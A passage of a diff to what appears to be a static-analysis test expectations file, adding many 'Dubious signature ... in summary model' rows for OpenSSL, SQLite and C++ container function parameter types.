OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **)" in summary model. | +| Dubious signature "(const OSSL_USER_NOTICE_SYNTAX *,unsigned char **)" in summary model. | +| Dubious signature "(const OTHERNAME *,unsigned char **)" in summary model. | +| Dubious signature "(const PACKET *,uint64_t *)" in summary model. | +| Dubious signature "(const PBE2PARAM *,unsigned char **)" in summary model. | +| Dubious signature "(const PBEPARAM *,unsigned char **)" in summary model. | +| Dubious signature "(const PBKDF2PARAM *,unsigned char **)" in summary model. | +| Dubious signature "(const PBMAC1PARAM *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7 *)" in summary model. | +| Dubious signature "(const PKCS7 *,PKCS7 *)" in summary model. | +| Dubious signature "(const PKCS7 *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_CTX *)" in summary model. | +| Dubious signature "(const PKCS7_DIGEST *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_ENCRYPT *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_ENC_CONTENT *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_ENVELOPE *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_ISSUER_AND_SERIAL *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_RECIP_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_SIGNED *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_SIGNER_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS7_SIGN_ENVELOPE *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS8_PRIV_KEY_INFO *)" in summary model. | +| Dubious signature "(const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const PKCS8_PRIV_KEY_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS12 *)" in summary model. | +| Dubious signature "(const PKCS12 *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS12_BAGS *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS12_MAC_DATA *,unsigned char **)" in summary model. | +| Dubious signature "(const PKCS12_SAFEBAG *)" in summary model. | +| Dubious signature "(const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const PKCS12_SAFEBAG *,unsigned char **)" in summary model. | +| Dubious signature "(const PKEY_USAGE_PERIOD *,unsigned char **)" in summary model. | +| Dubious signature "(const POLICYINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const POLICYQUALINFO *,unsigned char **)" in summary model. | +| Dubious signature "(const POLY *,const POLY *,POLY *)" in summary model. | +| Dubious signature "(const PROFESSION_INFO *)" in summary model. | +| Dubious signature "(const PROFESSION_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const PROV_CIPHER *)" in summary model. | +| Dubious signature "(const PROV_DIGEST *)" in summary model. | +| Dubious signature "(const PROXY_CERT_INFO_EXTENSION *,unsigned char **)" in summary model. | +| Dubious signature "(const PROXY_POLICY *,unsigned char **)" in summary model. | +| Dubious signature "(const QLOG_TRACE_INFO *)" in summary model. | +| Dubious signature "(const QUIC_CFQ_ITEM *)" in summary model. | +| Dubious signature "(const QUIC_CFQ_ITEM *,uint32_t)" in summary model. | +| Dubious signature "(const QUIC_CHANNEL *)" in summary model. | +| Dubious signature "(const QUIC_CHANNEL *,int)" in summary model. | +| Dubious signature "(const QUIC_CHANNEL_ARGS *)" in summary model. | +| Dubious signature "(const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(const QUIC_DEMUX *)" in summary model. | +| Dubious signature "(const QUIC_ENGINE_ARGS *)" in summary model. | +| Dubious signature "(const QUIC_LCIDM *)" in summary model. | +| Dubious signature "(const QUIC_OBJ *)" in summary model. | +| Dubious signature "(const QUIC_PORT *)" in summary model. | +| Dubious signature "(const QUIC_PORT_ARGS *)" in summary model. | +| Dubious signature "(const QUIC_RCIDM *)" in summary model. | +| Dubious signature "(const QUIC_REACTOR *)" in summary model. | +| Dubious signature "(const QUIC_RXFC *)" in summary model. | +| Dubious signature "(const QUIC_RXFC *,uint64_t *)" in summary model. | +| Dubious signature "(const QUIC_TLS_ARGS *)" in summary model. | +| Dubious signature "(const QUIC_TSERVER *)" in summary model. | +| Dubious signature "(const QUIC_TSERVER_ARGS *,const char *,const char *)" in summary model. | +| Dubious signature "(const QUIC_TXPIM *)" in summary model. | +| Dubious signature "(const QUIC_TXPIM_PKT *)" in summary model. | +| Dubious signature "(const RSA *)" in summary model. | +| Dubious signature "(const RSA *,BN_CTX *)" in summary model. | +| Dubious signature "(const RSA *,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)" in summary model. | +| Dubious signature "(const RSA *,int)" in summary model. | +| Dubious signature "(const RSA *,unsigned char **)" in summary model. | +| Dubious signature "(const RSA_METHOD *)" in summary model. | +| Dubious signature "(const RSA_OAEP_PARAMS *,unsigned char **)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS *)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS *,unsigned char **)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS_30 *)" in summary model. | +| Dubious signature "(const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[])" in summary model. | | Dubious signature "(const SAFEARRAY &)" in summary model. | | Dubious signature "(const SAFEARRAY *)" in summary model. | +| Dubious signature "(const SCRYPT_PARAMS *,unsigned char **)" in summary model. | +| Dubious signature "(const SCT *)" in summary model. | +| Dubious signature "(const SCT *,unsigned char **)" in summary model. | +| Dubious signature "(const SFRAME_LIST *,void **,UINT_RANGE *,const unsigned char **,int *)" in summary model. | +| Dubious signature "(const SLH_DSA_HASH_CTX *)" in summary model. | +| Dubious signature "(const SLH_DSA_KEY *)" in summary model. | +| Dubious signature "(const SLH_DSA_KEY *,int)" in summary model. | +| Dubious signature "(const SM2_Ciphertext *,unsigned char **)" in summary model. | +| Dubious signature "(const SSL *)" in summary model. | +| Dubious signature "(const SSL *,char *,int)" in summary model. | +| Dubious signature "(const SSL *,const SSL_CTX *,int *)" in summary model. | +| Dubious signature "(const SSL *,const int)" in summary model. | +| Dubious signature "(const SSL *,const unsigned char **,unsigned int *)" in summary model. | +| Dubious signature "(const SSL *,int)" in summary model. | +| Dubious signature "(const SSL *,int,int)" in summary model. | +| Dubious signature "(const SSL *,uint64_t *)" in summary model. | +| Dubious signature "(const SSL *,unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const SSL *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(const SSL_CIPHER *)" in summary model. | +| Dubious signature "(const SSL_CIPHER *,char *,int)" in summary model. | +| Dubious signature "(const SSL_CIPHER *,int *)" in summary model. | +| Dubious signature "(const SSL_CIPHER *const *,const SSL_CIPHER *const *)" in summary model. | +| Dubious signature "(const SSL_COMP *)" in summary model. | +| Dubious signature "(const SSL_CONF_CMD *,size_t,char **,char **)" in summary model. | +| Dubious signature "(const SSL_CONNECTION *)" in summary model. | +| Dubious signature "(const SSL_CONNECTION *,OSSL_TIME *)" in summary model. | +| Dubious signature "(const SSL_CONNECTION *,int *,int *,int *)" in summary model. | +| Dubious signature "(const SSL_CTX *)" in summary model. | +| Dubious signature "(const SSL_CTX *,int)" in summary model. | +| Dubious signature "(const SSL_CTX *,uint64_t *)" in summary model. | +| Dubious signature "(const SSL_CTX *,unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const SSL_METHOD *)" in summary model. | +| Dubious signature "(const SSL_SESSION *)" in summary model. | +| Dubious signature "(const SSL_SESSION *,OSSL_PARAM[])" in summary model. | +| Dubious signature "(const SSL_SESSION *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const SSL_SESSION *,int)" in summary model. | +| Dubious signature "(const SSL_SESSION *,unsigned char **)" in summary model. | +| Dubious signature "(const SSL_SESSION *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(const SSL_SESSION *,unsigned int *)" in summary model. | +| Dubious signature "(const SXNET *,unsigned char **)" in summary model. | +| Dubious signature "(const SXNETID *,unsigned char **)" in summary model. | | Dubious signature "(const T &,BOOL)" in summary model. | +| Dubious signature "(const TS_ACCURACY *)" in summary model. | +| Dubious signature "(const TS_ACCURACY *,unsigned char **)" in summary model. | +| Dubious signature "(const TS_MSG_IMPRINT *)" in summary model. | +| Dubious signature "(const TS_MSG_IMPRINT *,unsigned char **)" in summary model. | +| Dubious signature "(const TS_REQ *)" in summary model. | +| Dubious signature "(const TS_REQ *,unsigned char **)" in summary model. | +| Dubious signature "(const TS_RESP *)" in summary model. | +| Dubious signature "(const TS_RESP *,unsigned char **)" in summary model. | +| Dubious signature "(const TS_STATUS_INFO *)" in summary model. | +| Dubious signature "(const TS_STATUS_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const TS_TST_INFO *)" in summary model. | +| Dubious signature "(const TS_TST_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const UI *,int)" in summary model. | +| Dubious signature "(const UI_METHOD *)" in summary model. | +| Dubious signature "(const UI_METHOD *,int)" in summary model. | +| Dubious signature "(const USERNOTICE *,unsigned char **)" in summary model. | | Dubious signature "(const VARIANT &)" in summary model. | | Dubious signature "(const VARIANT &,IAtlStringMgr *)" in summary model. | +| Dubious signature "(const VECTOR *,uint32_t,uint8_t *,size_t)" in summary model. | +| Dubious signature "(const X509 *)" in summary model. | +| Dubious signature "(const X509 *,EVP_MD **,int *)" in summary model. | +| Dubious signature "(const X509 *,const ASN1_BIT_STRING **,const ASN1_BIT_STRING **)" in summary model. | +| Dubious signature "(const X509 *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509 *,const EVP_MD *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const X509 *,const X509 *)" in summary model. | +| Dubious signature "(const X509 *,const X509 *,const X509 *)" in summary model. | +| Dubious signature "(const X509 *,const stack_st_X509 *,int)" in summary model. | +| Dubious signature "(const X509 *,int)" in summary model. | +| Dubious signature "(const X509 *,int,int *,int *)" in summary model. | +| Dubious signature "(const X509 *,int,int)" in summary model. | +| Dubious signature "(const X509 *,unsigned char **)" in summary model. | +| Dubious signature "(const X509V3_EXT_METHOD *,X509V3_CTX *,stack_st_CONF_VALUE *)" in summary model. | +| Dubious signature "(const X509_ACERT *)" in summary model. | +| Dubious signature "(const X509_ACERT *,const ASN1_BIT_STRING **,const X509_ALGOR **)" in summary model. | +| Dubious signature "(const X509_ACERT *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509_ACERT *,int)" in summary model. | +| Dubious signature "(const X509_ACERT *,int,int *,int *)" in summary model. | +| Dubious signature "(const X509_ACERT *,int,int)" in summary model. | +| Dubious signature "(const X509_ACERT *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_ALGOR *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const ASN1_ITEM *,const char *,int,const ASN1_OCTET_STRING *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const X509_ALGOR *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const char *,int,const unsigned char *,int,unsigned char **,int *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,const unsigned char *,int,int,ecx_key_op_t,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const X509_ALGOR *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_ALGORS *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(const X509_ATTRIBUTE *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_CERT_AUX *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_CINF *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_CRL *)" in summary model. | +| Dubious signature "(const X509_CRL *,const ASN1_BIT_STRING **,const X509_ALGOR **)" in summary model. | +| Dubious signature "(const X509_CRL *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509_CRL *,const EVP_MD *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const X509_CRL *,const X509 *,int)" in summary model. | +| Dubious signature "(const X509_CRL *,const X509_CRL *)" in summary model. | +| Dubious signature "(const X509_CRL *,int)" in summary model. | +| Dubious signature "(const X509_CRL *,int,int *,int *)" in summary model. | +| Dubious signature "(const X509_CRL *,int,int)" in summary model. | +| Dubious signature "(const X509_CRL *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_CRL_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_EXTENSION *)" in summary model. | +| Dubious signature "(const X509_EXTENSION *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_EXTENSIONS *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_LOOKUP *)" in summary model. | +| Dubious signature "(const X509_LOOKUP_METHOD *)" in summary model. | +| Dubious signature "(const X509_NAME *)" in summary model. | +| Dubious signature "(const X509_NAME *,OSSL_LIB_CTX *,const char *,int *)" in summary model. | +| Dubious signature "(const X509_NAME *,char *,int)" in summary model. | +| Dubious signature "(const X509_NAME *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(const X509_NAME *,const ASN1_OBJECT *,char *,int)" in summary model. | +| Dubious signature "(const X509_NAME *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509_NAME *,const EVP_MD *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const X509_NAME *,const X509_NAME *)" in summary model. | +| Dubious signature "(const X509_NAME *,const char **)" in summary model. | +| Dubious signature "(const X509_NAME *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(const X509_NAME *,int)" in summary model. | +| Dubious signature "(const X509_NAME *,int,char *,int)" in summary model. | +| Dubious signature "(const X509_NAME *,int,int)" in summary model. | +| Dubious signature "(const X509_NAME *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_NAME_ENTRY *)" in summary model. | +| Dubious signature "(const X509_NAME_ENTRY *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_OBJECT *)" in summary model. | +| Dubious signature "(const X509_POLICY_CACHE *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(const X509_POLICY_LEVEL *,const X509_POLICY_NODE *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(const X509_POLICY_LEVEL *,int)" in summary model. | +| Dubious signature "(const X509_POLICY_NODE *)" in summary model. | +| Dubious signature "(const X509_POLICY_TREE *)" in summary model. | +| Dubious signature "(const X509_POLICY_TREE *,int)" in summary model. | +| Dubious signature "(const X509_PUBKEY *)" in summary model. | +| Dubious signature "(const X509_PUBKEY *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_PURPOSE *)" in summary model. | +| Dubious signature "(const X509_REQ *)" in summary model. | +| Dubious signature "(const X509_REQ *,const ASN1_BIT_STRING **,const X509_ALGOR **)" in summary model. | +| Dubious signature "(const X509_REQ *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509_REQ *,const EVP_MD *,unsigned char *,unsigned int *)" in summary model. | +| Dubious signature "(const X509_REQ *,int)" in summary model. | +| Dubious signature "(const X509_REQ *,int,int)" in summary model. | +| Dubious signature "(const X509_REQ *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_REQ_INFO *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_REVOKED *)" in summary model. | +| Dubious signature "(const X509_REVOKED *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const X509_REVOKED *,int)" in summary model. | +| Dubious signature "(const X509_REVOKED *,int,int *,int *)" in summary model. | +| Dubious signature "(const X509_REVOKED *,int,int)" in summary model. | +| Dubious signature "(const X509_REVOKED *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_SIG *,const X509_ALGOR **,const ASN1_OCTET_STRING **)" in summary model. | +| Dubious signature "(const X509_SIG *,const char *,int)" in summary model. | +| Dubious signature "(const X509_SIG *,const char *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const X509_SIG *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_SIG_INFO *,int *,int *,int *,uint32_t *)" in summary model. | +| Dubious signature "(const X509_STORE *)" in summary model. | +| Dubious signature "(const X509_STORE *,int)" in summary model. | +| Dubious signature "(const X509_STORE_CTX *)" in summary model. | +| Dubious signature "(const X509_STORE_CTX *,int)" in summary model. | +| Dubious signature "(const X509_TRUST *)" in summary model. | +| Dubious signature "(const X509_VAL *,unsigned char **)" in summary model. | +| Dubious signature "(const X509_VERIFY_PARAM *)" in summary model. | | Dubious signature "(const XCHAR *)" in summary model. | | Dubious signature "(const XCHAR *,int)" in summary model. | | Dubious signature "(const XCHAR *,int,AtlStringMgr *)" in summary model. | | Dubious signature "(const XCHAR *,int,IAtlStringMgr *)" in summary model. | +| Dubious signature "(const XTS128_CONTEXT *,const unsigned char[16],const unsigned char *,unsigned char *,size_t,int)" in summary model. | | Dubious signature "(const YCHAR *)" in summary model. | | Dubious signature "(const YCHAR *,int)" in summary model. | | Dubious signature "(const YCHAR *,int,IAtlStringMgr *)" in summary model. | +| Dubious signature "(const char *)" in summary model. | +| Dubious signature "(const char **)" in summary model. | +| Dubious signature "(const char **,int *)" in summary model. | +| Dubious signature "(const char **,int *,const char **,const char **,int *)" in summary model. | +| Dubious signature "(const char **,int *,const char **,int *)" in summary model. | +| Dubious signature "(const char *,BIO *,BIO *,int)" in summary model. | +| Dubious signature "(const char *,BIO *,int,const char *,const ASN1_ITEM *,const ASN1_VALUE *)" in summary model. | +| Dubious signature "(const char *,BIT_STRING_BITNAME *)" in summary model. | +| Dubious signature "(const char *,DB_ATTR *)" in summary model. | +| Dubious signature "(const char *,DES_cblock *)" in summary model. | +| Dubious signature "(const char *,DES_cblock *,DES_cblock *)" in summary model. | +| Dubious signature "(const char *,EVP_CIPHER **)" in summary model. | +| Dubious signature "(const char *,EVP_MD **)" in summary model. | +| Dubious signature "(const char *,OSSL_CMP_severity *,char **,char **,int *)" in summary model. | +| Dubious signature "(const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *)" in summary model. | +| Dubious signature "(const char *,X509 **,stack_st_X509 **,int,const char *,const char *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(const char *,char *)" in summary model. | +| Dubious signature "(const char *,char **,char **,BIO_hostserv_priorities)" in summary model. | +| Dubious signature "(const char *,char **,char **,char **,char **,int *,char **,char **,char **)" in summary model. | +| Dubious signature "(const char *,char **,int,unsigned long *)" in summary model. | +| Dubious signature "(const char *,char **,size_t)" in summary model. | +| Dubious signature "(const char *,char *,size_t)" in summary model. | +| Dubious signature "(const char *,const ASN1_INTEGER *,stack_st_CONF_VALUE **)" in summary model. | +| Dubious signature "(const char *,const ML_COMMON_PKCS8_FMT *,const char *,const char *)" in summary model. | +| Dubious signature "(const char *,const OPT_PAIR *,int *)" in summary model. | +| Dubious signature "(const char *,const OSSL_PARAM *,int)" in summary model. | +| Dubious signature "(const char *,const UI_METHOD *,void *,OSSL_STORE_post_process_info_fn,void *)" in summary model. | +| Dubious signature "(const char *,const char *)" in summary model. | +| Dubious signature "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(const char *,const char *,BIGNUM **,BIGNUM **,const BIGNUM *,const BIGNUM *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const char *,const char *,BIO_lookup_type,int,int,BIO_ADDRINFO **)" in summary model. | +| Dubious signature "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int)" in summary model. | +| Dubious signature "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const char *,const char *,EVP_PKEY *,X509 *,stack_st_X509 *,int,int,int,int,int,OSSL_LIB_CTX *,const char *,PKCS12_create_cb *,void *)" in summary model. | +| Dubious signature "(const char *,const char *,char *)" in summary model. | +| Dubious signature "(const char *,const char *,char **,char **)" in summary model. | +| Dubious signature "(const char *,const char *,char **,char **,const char *,const char *)" in summary model. | +| Dubious signature "(const char *,const char *,char **,char **,const char *,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const char *,const char *,const BIGNUM *,ASN1_INTEGER **)" in summary model. | +| Dubious signature "(const char *,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,int,size_t,int)" in summary model. | +| Dubious signature "(const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,long,const char *,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const char *,const char *,const char *,const char *,const char *,SSL_CTX *,const stack_st_CONF_VALUE *,const char *,ASN1_VALUE *,const ASN1_ITEM *,const char *,long,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(const char *,const char *,const char *,const char *,int,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,int)" in summary model. | +| Dubious signature "(const char *,const char *,const char *,int)" in summary model. | +| Dubious signature "(const char *,const char *,int)" in summary model. | +| Dubious signature "(const char *,const char *,int,int,int,int,BIO_ADDRINFO **)" in summary model. | +| Dubious signature "(const char *,const char *,size_t)" in summary model. | +| Dubious signature "(const char *,const char *,stack_st_CONF_VALUE **)" in summary model. | +| Dubious signature "(const char *,const char *,unsigned int)" in summary model. | +| Dubious signature "(const char *,const size_t,unsigned int *,unsigned int *)" in summary model. | +| Dubious signature "(const char *,const unsigned char *,size_t,stack_st_CONF_VALUE **)" in summary model. | +| Dubious signature "(const char *,const unsigned char *,stack_st_CONF_VALUE **)" in summary model. | +| Dubious signature "(const char *,double *)" in summary model. | +| Dubious signature "(const char *,int32_t *)" in summary model. | +| Dubious signature "(const char *,int64_t *)" in summary model. | +| Dubious signature "(const char *,int *)" in summary model. | +| Dubious signature "(const char *,int *,char **,char **,char **,int *,char **,char **,char **)" in summary model. | +| Dubious signature "(const char *,int)" in summary model. | +| Dubious signature "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *)" in summary model. | +| Dubious signature "(const char *,int,PKCS8_PRIV_KEY_INFO *,X509_ALGOR *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const char *,int,int,..(*)(..),void *)" in summary model. | +| Dubious signature "(const char *,int,int,const char *,const char *,int,EVP_PKEY **,EVP_PKEY **,EVP_PKEY **,X509 **,stack_st_X509 **,X509_CRL **,stack_st_X509_CRL **)" in summary model. | +| Dubious signature "(const char *,int,int,int)" in summary model. | +| Dubious signature "(const char *,int,long)" in summary model. | +| Dubious signature "(const char *,int,stack_st_CONF_VALUE **)" in summary model. | +| Dubious signature "(const char *,int,stack_st_OPENSSL_STRING *,const char *)" in summary model. | +| Dubious signature "(const char *,int,stack_st_X509 **,const char *,const char *)" in summary model. | +| Dubious signature "(const char *,int,unsigned char **,int *)" in summary model. | +| Dubious signature "(const char *,long *)" in summary model. | +| Dubious signature "(const char *,long *,char *)" in summary model. | +| Dubious signature "(const char *,long *,int)" in summary model. | +| Dubious signature "(const char *,size_t *)" in summary model. | +| Dubious signature "(const char *,size_t)" in summary model. | +| Dubious signature "(const char *,size_t,const char *,int)" in summary model. | +| Dubious signature "(const char *,sqlite3 **,int,const char *)" in summary model. | +| Dubious signature "(const char *,sqlite3_filename)" in summary model. | +| Dubious signature "(const char *,sqlite3_filename,const char *)" in summary model. | +| Dubious signature "(const char *,sqlite3_filename,const char *,int)" in summary model. | +| Dubious signature "(const char *,sqlite3_filename,const char *,sqlite3_int64)" in summary model. | +| Dubious signature "(const char *,sqlite3_filename,int)" in summary model. | +| Dubious signature "(const char *,stack_st_X509_CRL **,const char *,const char *)" in summary model. | +| Dubious signature "(const char *,time_t *)" in summary model. | +| Dubious signature "(const char *,uint32_t *)" in summary model. | +| Dubious signature "(const char *,uint64_t *)" in summary model. | +| Dubious signature "(const char *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(const char *,unsigned int *)" in summary model. | +| Dubious signature "(const char *,unsigned long *)" in summary model. | +| Dubious signature "(const char *,va_list)" in summary model. | +| Dubious signature "(const char *,void *)" in summary model. | +| Dubious signature "(const char *,void **,size_t)" in summary model. | +| Dubious signature "(const char *,void *,size_t)" in summary model. | +| Dubious signature "(const char *const *,const char *const *)" in summary model. | +| Dubious signature "(const curve448_point_t)" in summary model. | +| Dubious signature "(const custom_ext_methods *,ENDPOINT,unsigned int,size_t *)" in summary model. | | Dubious signature "(const deque &)" in summary model. | | Dubious signature "(const deque &,const Allocator &)" in summary model. | | Dubious signature "(const forward_list &)" in summary model. | | Dubious signature "(const forward_list &,const Allocator &)" in summary model. | +| Dubious signature "(const gf)" in summary model. | +| Dubious signature "(const gf,const gf)" in summary model. | +| Dubious signature "(const int[],BIGNUM *)" in summary model. | +| Dubious signature "(const int_dhx942_dh *,unsigned char **)" in summary model. | | Dubious signature "(const list &)" in summary model. | | Dubious signature "(const list &,const Allocator &)" in summary model. | +| Dubious signature "(const sqlite3_value *)" in summary model. | +| Dubious signature "(const stack_st_SCT *,unsigned char **)" in summary model. | +| Dubious signature "(const stack_st_X509 *)" in summary model. | +| Dubious signature "(const stack_st_X509_ATTRIBUTE *)" in summary model. | +| Dubious signature "(const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const stack_st_X509_ATTRIBUTE *,int)" in summary model. | +| Dubious signature "(const stack_st_X509_ATTRIBUTE *,int,int)" in summary model. | +| Dubious signature "(const stack_st_X509_EXTENSION *)" in summary model. | +| Dubious signature "(const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(const stack_st_X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(const stack_st_X509_EXTENSION *,int,int *,int *)" in summary model. | +| Dubious signature "(const stack_st_X509_EXTENSION *,int,int)" in summary model. | +| Dubious signature "(const stack_st_X509_NAME *)" in summary model. | +| Dubious signature "(const time_t *,tm *)" in summary model. | +| Dubious signature "(const u128[16],uint8_t *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(const uint8_t *,SM4_KEY *)" in summary model. | +| Dubious signature "(const uint8_t *,int,int,PROV_CTX *,const char *)" in summary model. | +| Dubious signature "(const uint8_t *,size_t)" in summary model. | +| Dubious signature "(const uint8_t *,size_t,ML_KEM_KEY *)" in summary model. | +| Dubious signature "(const uint8_t *,uint8_t *,const SM4_KEY *)" in summary model. | | Dubious signature "(const unsigned char *)" in summary model. | +| Dubious signature "(const unsigned char **,long *,int *,int *,long)" in summary model. | +| Dubious signature "(const unsigned char **,long)" in summary model. | +| Dubious signature "(const unsigned char **,long,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const unsigned char **,unsigned int,int *)" in summary model. | +| Dubious signature "(const unsigned char **,unsigned int,int)" in summary model. | +| Dubious signature "(const unsigned char **,unsigned int,int,int *,unsigned int *,unsigned int *)" in summary model. | +| Dubious signature "(const unsigned char **,unsigned int,unsigned int *,unsigned int *,int *,int *)" in summary model. | +| Dubious signature "(const unsigned char *,DES_cblock *,long,DES_key_schedule *,const_DES_cblock *)" in summary model. | +| Dubious signature "(const unsigned char *,DES_cblock[],long,int,DES_cblock *)" in summary model. | | Dubious signature "(const unsigned char *,IAtlStringMgr *)" in summary model. | +| Dubious signature "(const unsigned char *,const int,ARIA_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,hm_header_st *)" in summary model. | +| Dubious signature "(const unsigned char *,int)" in summary model. | +| Dubious signature "(const unsigned char *,int,BIGNUM *)" in summary model. | +| Dubious signature "(const unsigned char *,int,DSA *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const unsigned char *,int,EVP_CIPHER *,EVP_CIPHER *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const unsigned char *,int,const BIGNUM *,const BIGNUM *,EC_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,int,const ECDSA_SIG *,EC_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,int,const unsigned char *,int,EC_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *)" in summary model. | +| Dubious signature "(const unsigned char *,int,unsigned char *,unsigned int *,EC_KEY *,unsigned int,const char *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(const unsigned char *,int,unsigned long *)" in summary model. | +| Dubious signature "(const unsigned char *,long)" in summary model. | +| Dubious signature "(const unsigned char *,long,char)" in summary model. | +| Dubious signature "(const unsigned char *,size_t,QUIC_PN,QUIC_PN *)" in summary model. | +| Dubious signature "(const unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(const unsigned char *,size_t,size_t)" in summary model. | +| Dubious signature "(const unsigned char *,size_t,size_t,QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(const unsigned char *,size_t,uint64_t *)" in 